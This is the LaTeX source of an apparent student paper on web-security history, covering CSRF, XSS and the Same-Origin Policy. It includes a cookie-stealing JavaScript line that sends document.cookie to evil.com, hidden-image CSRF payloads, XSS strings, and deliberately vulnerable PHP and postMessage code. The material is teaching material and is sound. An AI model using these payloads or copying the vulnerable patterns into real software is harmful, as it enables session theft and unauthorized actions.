Ho

\documentclass[12pt,a4paper]{article} % ==================== الحزم الأساسية ==================== \\\usepackage[utf8]{inputenc} \\\usepackage[T1]{fontenc} \\\usepackage[english]{babel} \\\usepackage{geometry} \geometry{left=2.5cm,right=2.5cm,top=2.5cm,bottom=2.5cm} \\\usepackage{setspace} \setstretch{1.3} % تباعد مريح \\\usepackage{parskip} \setlength{\parindent}{0.5cm} \\\usepackage{times} % خط Times New Roman بديل % ==================== حزم الألوان والتنسيق المتقدم ==================== \\\usepackage{xcolor} \\\usepackage{graphicx} \\\usepackage{fancyhdr} \\\usepackage{lastpage} \\\usepackage{titlesec} \\\usepackage{booktabs} \\\usepackage{array} \\\usepackage{colortbl} \\\usepackage{longtable} \\\usepackage{caption} \captionsetup{font=small, labelfont=bf, justification=raggedright, singlelinecheck=false} \\\usepackage{hyperref} \hypersetup{ colorlinks=true, linkcolor=blue!50!black, citecolor=green!50!black, urlcolor=teal!70!black, } \\\usepackage{listings} % ==================== تنسيق الأكواد البرمجية بألوان احترافية ==================== \definecolor{codebg}{rgb}{0.95,0.97,0.95} \definecolor{commentcolor}{rgb}{0.2,0.6,0.2} \definecolor{keywordcolor}{rgb}{0.2,0.2,0.8} \definecolor{stringcolor}{rgb}{0.7,0.1,0.1} \definecolor{numbercolor}{rgb}{0.5,0.2,0.5} \lstset{ backgroundcolor=\color{codebg}, basicstyle=\ttfamily\small\color{black}, breaklines=true, frame=single, numbers=left, numberstyle=\tiny\color{gray}, stepnumber=1, numbersep=5pt, tabsize=4, captionpos=b, commentstyle=\color{commentcolor}\itshape, keywordstyle=\color{keywordcolor}\bfseries, stringstyle=\color{stringcolor}, identifierstyle=\color{black}, showstringspaces=false, literate={\{}{{\textcolor{black}{$\{$}}}1}{\}}{{\textcolor{black}{$\}$}}}1, morekeywords={function,var,let,const,if,else,for,while,return,import,from,class,extends,super,new,this,typeof,instanceof,true,false,null,undefined}, } % لغة إضافية خاصة بـ PHP \lstdefinelanguage{PHP}{ morekeywords={echo,isset,empty,array,foreach,while,do,if,else,elseif,return,public,private,protected,function,class,new,extends,implements,namespace,use,throw,catch,finally,try}, morecomment=[l]{//}, morecomment=[s]{/*}{*/}, morestring=[b]", morestring=[b]', } % ==================== ترويسة وتذييل احترافي ==================== \pagestyle{fancy} \fancyhf{} \fancyhead[L]{\small \textsc{ACYB 240 -- Web Application Security}} \fancyhead[R]{\small \thepage/\pageref{LastPage}} \fancyfoot[C]{\small \textit{History of Web Threats}} \renewcommand{\headrulewidth}{0.4pt} \renewcommand{\footrulewidth}{0pt} % ==================== تنسيق العناوين ==================== \titleformat{\section}{\Large\bfseries\color{blue!60!black}}{\thesection}{1em}{} \titleformat{\subsection}{\large\bfseries\color{blue!50!black}}{\thesubsection}{1em}{} \titleformat{\subsubsection}{\normalsize\bfseries\color{blue!40!black}}{\thesubsubsection}{1em}{} % ==================== بيئة غلاف احترافي ==================== \newcommand{\coverpage}{ \begin{titlepage} \centering \vspace*{1cm} {\Large \textsc{[Your University Name]}\\[0.5cm] \textsc{[Your Faculty/College Name]}\\[0.5cm] \textsc{[Your Department Name]}\\[2cm]} {\large Course: ACYB 240 -- Web Application Security\\[0.3cm] Semester: Spring 2026\\[2cm]} {\Huge \textbf{History of Web Threats: How the Addition of Technologies like Cookies and JavaScript Led to New Vulnerabilities}\\[2cm]} {\large Prepared by: [Your Full Name]\\[0.2cm] Student ID: [Your ID]\\[0.2cm] Submission Date: [Date]\\[0.2cm] Instructor: [Professor's Name]} \vfill \rule{0.9\textwidth}{0.5pt}\\[0.3cm] {\small \textcopyright\ \the\year\ -- All rights reserved} \end{titlepage} } % ==================== بداية المستند ==================== \begin{document} \coverpage \tableofcontents \newpage % ==================== 1. مقدمة ==================== \section{Introduction} In the early 1990s, the World Wide Web was a simple system for exchanging static text documents. Tim Berners‑Lee designed it based on HTTP 0.9 and basic HTML, where each HTTP request closed the connection and no memory of previous visits existed. This minimal design was relatively secure – there were no sessions to steal, no active scripts to exploit, and no state to manipulate. However, developers and users quickly realized that the Web needed state to build useful applications (e.g., shopping carts) and interactivity to engage users. With every new technology added – cookies (1994), JavaScript (1995), frames (1995/1997) – the goal was to improve user experience and expand web capabilities. Yet each of these additions opened a new window for attacks. Cookies brought Cross‑Site Request Forgery (CSRF); JavaScript brought Cross‑Site Scripting (XSS); frames necessitated the Same‑Origin Policy (SOP), whose initial implementation was inconsistent and later exceptions introduced further risks. This research traces this historical evolution, analyzes how seemingly innocent features turned into serious security vulnerabilities, and draws lessons for the future of web application security. The analysis is based primarily on the ACYB 240 lecture notes, supplemented by real‑world incidents, documented statistics, and academic papers. By understanding the past, developers can avoid repeating the same mistakes. \newpage % ==================== 2. Early Web ==================== \section{Early Web: Static Documents (1990–1993)} \subsection{HTTP 0.9: A Stateless Protocol} In 1991, HTTP 0.9 was released – an extremely simple protocol. It supported only the GET method and had no headers, neither from client nor server. After the server sent an HTML page, the connection was immediately closed. There was no mechanism for client identification or for sending additional data like forms. Each request was completely independent of previous and subsequent requests. \textbf{Example of an HTTP 0.9 request and response:} \begin{lstlisting} GET /index.html

Welcome to the Web

This is a static page.

(connection closed) \end{lstlisting} This design made it impossible to implement applications like shopping carts or content personalization. However, it also made attacks like session stealing or CSRF non‑existent – simply because there were no sessions. The server had no way to distinguish one user from another, so every user received the same content. \subsection{Simple HTML: Only 18 Tags} Early HTML aimed to describe document structure: headings, paragraphs, lists, and links. There was no inline \texttt{} (images opened in separate windows). The initial specification supported only 18 tags, including: \texttt{}, \texttt{<h1>}…\texttt{<h6>}, \texttt{<p>}, \texttt{<a>}, \texttt{<ul>}, \texttt{<li>}, and a few others. This simplicity was a double‑edged sword: easy to learn and use, but it severely limited developer capabilities. However, there were no known security vulnerabilities related to HTML alone, aside from deceptive links (phishing) using misleading URLs. \begin{table}[h] \centering \caption{Features and security implications of the early Web} \label{tab:earlyweb} \rowcolors{2}{gray!10}{white} \begin{tabular}{@{}lll@{}} \toprule \textbf{Feature} & \textbf{Description} & \textbf{Security Impact} \\ \midrule Stateless HTTP & Each request independent & No sessions → no session theft \\ GET only & Cannot send large data & Limited injection surface \\ No headers & No client identification & No impersonation \\ Static pages & Content does not change & No stored XSS \\ \bottomrule \end{tabular} \end{table} This era was a “golden age” for security in terms of few attacks, but a “stone age” in terms of functionality. The need for state and interactivity would soon drive the addition of new technologies – and with them, new vulnerabilities. \newpage % ==================== 3. Cookies ==================== \section{Adding State – Cookies (1994)} \subsection{How Cookies Work} In 1994, Netscape introduced cookies to solve the problem of remembering users across visits. The idea is simple: when a user visits a site for the first time, the server sends a \texttt{Set-Cookie} header with the HTTP response. The browser stores this value (usually a random session ID), then automatically sends it with every subsequent request to the same site via the \texttt{Cookie} header. \textbf{Example of cookie exchange:} \begin{lstlisting} Server response: HTTP/1.1 200 OK Set-Cookie: sessionid=abc123; Path=/; HttpOnly; SameSite=Lax Browser stores the cookie. Next request: GET /profile HTTP/1.1 Host: example.com Cookie: sessionid=abc123 \end{lstlisting} This made it possible to implement sessions – the server can remember who you are, what is in your cart, your preferences, and your login status. \subsection{The Core Security Issue: Automatic Cross-Origin Transmission} As stated in Lecture 02: \textit{“Client always sends along cookies in every request to the server – important: regardless of initiating site.”} This statement captures the essence of the vulnerability. When a browser sends a request to \texttt{bank.com}, it automatically attaches any cookies belonging to \texttt{bank.com} – even if the request was initiated by a completely different site, such as \texttt{evil.com}. \textbf{Why is this dangerous?} Because \texttt{evil.com} can embed a hidden element that triggers a request to \texttt{bank.com} with your cookies, performing actions without your knowledge or consent. \textbf{Example of a CSRF attack using a hidden image:} \begin{lstlisting} <!-- Attacker's page: evil.com --> <img src="https://bank.com/transfer?to=attacker&amount=1000" style="display:none"> \end{lstlisting} When you visit \texttt{evil.com} while logged into \texttt{bank.com}, your browser sends a GET request to \texttt{bank.com/transfer} with your session cookie. If \texttt{bank.com} does not protect this action, the transfer is executed. \subsection{CSRF Vulnerability: Historical Example and Code} Cross‑Site Request Forgery (CSRF) was first documented in the late 1990s, but one famous early example occurred in 2006 when researchers found a vulnerability in Google Calendar. An attacker could add or delete events on a victim’s calendar by luring the victim to a malicious page. \textbf{Simplified vulnerable code on the server (e.g., PHP):} \begin{lstlisting}[language=PHP] <?php // vulnerable.php - adds an event without CSRF protection if (isset($_GET['event'])) { $event = $_GET['event']; $user = get_user_from_session_cookie(); // relies on cookie add_event_to_calendar($user, $event); echo "Event added."; } ?> \end{lstlisting} \textbf{Attack page:} \begin{lstlisting} <img src="https://calendar.google.com/add?event=Hack+Meeting"> \end{lstlisting} \begin{table}[h] \centering \caption{Modern defenses against CSRF} \label{tab:csrf-defenses} \rowcolors{2}{gray!10}{white} \begin{tabular}{@{}ll@{}} \toprule \textbf{Defense} & \textbf{Description} \\ \midrule SameSite cookie attribute & \texttt{SameSite=Strict} or \texttt{Lax} prevents cookie sending on cross-site requests. \\ Anti-CSRF tokens & Random token embedded in forms and validated on the server. \\ Custom request headers & Require \texttt{X-Requested-With: XMLHttpRequest} for state-changing requests. \\ Double-submit cookies & Send a cookie value also as a request header or parameter. \\ Origin / Referer validation & Check that the \texttt{Origin} or \texttt{Referer} header matches the expected site. \\ \bottomrule \end{tabular} \end{table} \begin{table}[h] \centering \caption{Famous CSRF incidents} \label{tab:csrf-incidents} \rowcolors{2}{gray!10}{white} \begin{tabular}{@{}lll@{}} \toprule \textbf{Year} & \textbf{Site} & \textbf{Impact} \\ \midrule 2006 & Netflix & Adding movies to a user’s queue \\ 2006 & Google Calendar & Adding or deleting events \\ 2008 & ING Bank & Unauthorized funds transfer (theoretical) \\ 2018 & YouTube (legacy) & Posting comments or videos as victim \\ \bottomrule \end{tabular} \end{table} These examples show that CSRF was not just a theoretical problem but caused real damage across many services. \newpage % ==================== 4. JavaScript ==================== \section{JavaScript (1995) – Power and Weapon} \subsection{From Mocha to ECMAScript} In 1995, Netscape wanted to add a “glue language” to the browser to enable simple interactivity. They hired Brendan Eich, who was initially asked to implement Scheme. Instead, in just ten days, he created Mocha, later renamed LiveScript, and finally \textbf{JavaScript} – capitalising on Java’s popularity at the time. Initially limited, the language evolved rapidly. Today, JavaScript is the most widely used programming language on the web, running in every modern browser. According to W3Techs, over 98\% of all websites use JavaScript on the client side. It transformed the web from static pages into a rich application platform. \subsection{Access to DOM and Cookies} Using JavaScript, developers (and attackers) can do things previously impossible: \begin{itemize} \item Read and modify page content (DOM) dynamically. \item Access the page’s cookies via \texttt{document.cookie}. \item Send asynchronous HTTP requests (XMLHttpRequest – AJAX). \item Store data locally (Web Storage, IndexedDB). \item Control navigation, open new windows, interact with frames. \end{itemize} \textbf{Example of JavaScript reading cookies:} \begin{lstlisting}[language=JavaScript] // This code, if injected, sends all cookies to an attacker's server var stolenCookies = document.cookie; fetch('https://evil.com/steal?cookies=' + encodeURIComponent(stolenCookies)); \end{lstlisting} From a security perspective, access to \texttt{document.cookie} is the greatest risk. If an attacker can execute arbitrary JavaScript on your page (via XSS), they can read your session cookies, send them to their own server, and then impersonate you completely. \subsection{XSS Vulnerability: Types, Examples, and Mitigations} \textbf{Cross‑Site Scripting (XSS)} occurs when a web application includes untrusted data in an HTML page without proper sanitization, and that data is executed as code in the browser. \begin{table}[h] \centering \caption{Three main types of XSS} \label{tab:xss-types} \rowcolors{2}{gray!10}{white} \begin{tabular}{@{}lll@{}} \toprule \textbf{Type} & \textbf{Description} & \textbf{Example} \\ \midrule Stored XSS & Malicious script saved on server and executed for every visitor. & Posting \texttt{<script>alert('XSS')</script>} in a comment. \\ Reflected XSS & Malicious script comes from current HTTP request and is reflected immediately. & \texttt{https://example.com/search?q=<script>alert(1)</script>} \\ DOM-based XSS & Client-side JS manipulates DOM parameters unsafely. & \texttt{var user = location.hash; document.body.innerHTML = user;} \\ \bottomrule \end{tabular} \end{table} \textbf{Real‑world examples:} \begin{itemize} \item \textbf{Samy worm on MySpace (2005):} Used stored XSS to add over one million friends in 24 hours. \item \textbf{Twitter XSS (2014):} Reflected XSS allowed posting malicious tweets that automatically retweeted themselves. \end{itemize} \textbf{How to protect against XSS (defense in depth):} \begin{enumerate} \item \textbf{Output escaping:} Use proper escaping functions based on context. Example in PHP: \texttt{htmlspecialchars(\$input, ENT\_QUOTES, 'UTF-8')}. \item \textbf{Content Security Policy (CSP):} Browser mechanism to declare allowed script sources. Example: \texttt{Content-Security-Policy: script-src 'self'} blocks inline scripts. \item \textbf{Avoid dangerous functions:} Never use \texttt{eval()}, \texttt{innerHTML}, \texttt{document.write()} with untrusted data. Use \texttt{textContent} instead. \item \textbf{Use modern frameworks:} React escapes content by default; avoid \texttt{dangerouslySetInnerHTML}. Angular provides safe defaults. \item \textbf{HttpOnly cookie flag:} Prevents JavaScript from accessing session cookies. \end{enumerate} \begin{table}[h] \centering \caption{XSS impact statistics (HackerOne 2022 report)} \label{tab:xss-stats} \rowcolors{2}{gray!10}{white} \begin{tabular}{@{}ll@{}} \toprule \textbf{Metric} & \textbf{Value} \\ \midrule XSS reports received in 2022 & Over 10,000 \\ Total bounties paid for XSS & Exceeding \$5 million \\ Percentage of all bug reports & Approximately 12\% \\ \bottomrule \end{tabular} \end{table} \newpage % ==================== 5. Frames and SOP ==================== \section{Frames and the Same-Origin Policy (SOP)} \subsection{The Need for SOP} In 1995/1997, frames (\texttt{<frame>}, \texttt{<iframe>}) were introduced to allow multiple independent pages within a single browser window. For example, a news site could display an advertising sidebar from an ad network and a main frame from its own domain. This saved bandwidth and improved navigation. But from a security perspective: what if a frame from \texttt{evil.com} tries to read the content of a frame from \texttt{bank.com} inside the same browser? Without restrictions, \texttt{evil.com} could steal sensitive information. Therefore, browsers introduced the \textbf{Same-Origin Policy (SOP)}. \subsection{How SOP Works} SOP states that JavaScript from one \textbf{origin} (protocol + hostname + port) cannot access the DOM, cookies, or local storage of a page from a different origin. \begin{table}[h] \centering \caption{Same-origin comparison examples} \label{tab:sop} \rowcolors{2}{gray!10}{white} \begin{tabular}{@{}llll@{}} \toprule \textbf{First page} & \textbf{Second page} & \textbf{Same origin?} & \textbf{Reason} \\ \midrule \texttt{http://a.com/page1} & \texttt{http://a.com/page2} & Yes & Identical \\ \texttt{http://a.com} & \texttt{https://a.com} & No & Different protocol \\ \texttt{http://a.com} & \texttt{http://b.com} & No & Different host \\ \texttt{http://a.com:80} & \texttt{http://a.com:8080} & No & Different port \\ \bottomrule \end{tabular} \end{table} This policy is the foundation of web security. Without it, any site you visit could read your email, bank statements, or social media feeds. \subsection{Dangerous Exceptions: domain relaxation, CORS, postMessage} Real‑world applications needed exceptions to SOP – but misconfigured exceptions create vulnerabilities. \textbf{1. \texttt{document.domain} relaxation} \\ Allows two subdomains (e.g., \texttt{mail.example.com} and \texttt{calendar.example.com}) to set \texttt{document.domain = "example.com"} and then interact. However, this weakens security because any subdomain can then access the other. Modern browsers restrict setting to higher-level domains, but legacy code may still be vulnerable. \textbf{2. CORS (Cross-Origin Resource Sharing)} \\ Allows a server to explicitly specify who can access its resources via the \texttt{Access-Control-Allow-Origin} header. Common misconfigurations: \begin{itemize} \item \texttt{Access-Control-Allow-Origin: *} with \texttt{Access-Control-Allow-Credentials: true} (disallowed but sometimes mis-implemented). \item Reflecting any origin without validation: \texttt{Access-Control-Allow-Origin: \$\_SERVER['HTTP\_ORIGIN']} – allows any site to read the response. \item Using \texttt{null} as the origin, which can be forced by data URLs. \end{itemize} \textbf{3. \texttt{postMessage} API} \\ Allows pages from different origins to exchange messages safely – but only if the receiver checks \texttt{event.origin}. Many sites forget this check or use flawed regex. \textbf{Example of insecure \texttt{postMessage} handler:} \begin{lstlisting}[language=JavaScript] window.addEventListener("message", function(event) { var data = eval(event.data); // DANGEROUS: eval on untrusted data // No origin check! }); \end{lstlisting}